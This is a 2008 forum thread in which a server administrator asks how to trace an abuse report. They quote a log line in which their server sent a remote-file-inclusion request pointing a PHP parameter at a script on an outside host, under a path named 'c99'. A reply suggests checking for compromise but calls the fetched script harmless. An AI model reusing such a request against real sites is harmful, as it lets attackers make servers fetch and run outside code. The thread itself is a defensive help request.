Abuse report

brgsousa · 12-16-2008, 01:53 PM

My network administration received a abuse report from a host claiming that one of my servers tried to execute actions like this:
"GET //mcf.php?content=http://jonyrulz.com/c99/id2.txt????? HTTP/1.1" 403 1029 "libwww-perl/5.805"

I am using Debian 4 etch in this server which is running Apache in production.

How can I check my logs in order to see which application requested these actions?

Obs.: Avira antivirus accused viruses in http://jonyrulz.com/c99/id2.txt

Matir · 12-16-2008, 02:08 PM

It looks like it's coming from a perl application of some sort. I'd check and see what perl applications run on that system, and see if your system has been compromised.

That script doesn't seem to have any exploits in it, it just seems to dump a bunch of version information... doesn't look threatening to me.